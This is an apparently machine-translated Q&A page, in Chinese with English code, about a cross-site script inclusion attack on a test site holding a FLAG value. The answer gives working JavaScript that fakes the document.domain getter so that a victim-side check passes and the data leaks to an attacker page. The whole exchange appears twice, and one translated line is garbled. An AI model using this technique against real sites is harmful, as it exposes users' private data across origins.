如何绕过 document.domain 检查?
How to bypass a document.domain check?
我正在尝试在测试站点上执行 XSSI。在易受攻击的站点 vuln.com 中有一个页面 vuln.com/xssi 从 vuln.com/displaysensitivedata 动态加载脚本:
(function (sensitivedata) {
if (document.domain === 'vuln.com') {
displaysensitiveinfo(sensitivedata);
}
})([['data1', 'FLAG{}']]);
我的目标是窃取创建受害者会访问的攻击者页面的标志。
包括脚本在内,敏感数据也包括在内,在我的攻击者页面中,我使 displaysensitiveinfo(sensitivedata) 方法泄漏了数据。
<script src="vuln.com/displaysensitivedata"></script>
function displaysensitiveinfo(sensitivedata){
console.log(sensitivedata);
}
但是我无法通过 document.domain 的检查。
如何覆盖 document.domain 以绕过检查?
vuln.com/displaysensitivedata 处的脚本是一个立即调用的函数表达式 (IIFE),因此您需要确保 displaysensitiveinfo
函数的定义在 [之前] 该脚本已加载。
然后你可以通过重新定义它的getter:
强制document.domain
到returnvuln.com
// this script must be loaded BEFORE the script at vuln.com/displaysensitivedata
Object.defineProperty(document, 'domain', {get: () => "vuln.com"});
function displaysensitiveinfo(data) {
alert(`gotcha ${data}`);
}
// vuln.com/displaysensitivedata
(function (sensitivedata) {
if (document.domain === 'vuln.com') {
displaysensitiveinfo(sensitivedata);
}
})([['data1', 'FLAG{}']]);
我正在尝试在测试站点上执行 XSSI。在易受攻击的站点 vuln.com 中有一个页面 vuln.com/xssi 从 vuln.com/displaysensitivedata 动态加载脚本:
(function (sensitivedata) {
if (document.domain === 'vuln.com') {
displaysensitiveinfo(sensitivedata);
}
})([['data1', 'FLAG{}']]);
我的目标是窃取创建受害者会访问的攻击者页面的标志。 包括脚本在内,敏感数据也包括在内,在我的攻击者页面中,我使 displaysensitiveinfo(sensitivedata) 方法泄漏了数据。
<script src="vuln.com/displaysensitivedata"></script>
function displaysensitiveinfo(sensitivedata){
console.log(sensitivedata);
}
但是我无法通过 document.domain 的检查。
如何覆盖 document.domain 以绕过检查?
vuln.com/displaysensitivedata 处的脚本是一个立即调用的函数表达式 (IIFE),因此您需要确保 displaysensitiveinfo
函数的定义在 [之前] 该脚本已加载。
然后你可以通过重新定义它的getter:
强制document.domain
到returnvuln.com
// this script must be loaded BEFORE the script at vuln.com/displaysensitivedata
Object.defineProperty(document, 'domain', {get: () => "vuln.com"});
function displaysensitiveinfo(data) {
alert(`gotcha ${data}`);
}
// vuln.com/displaysensitivedata
(function (sensitivedata) {
if (document.domain === 'vuln.com') {
displaysensitiveinfo(sensitivedata);
}
})([['data1', 'FLAG{}']]);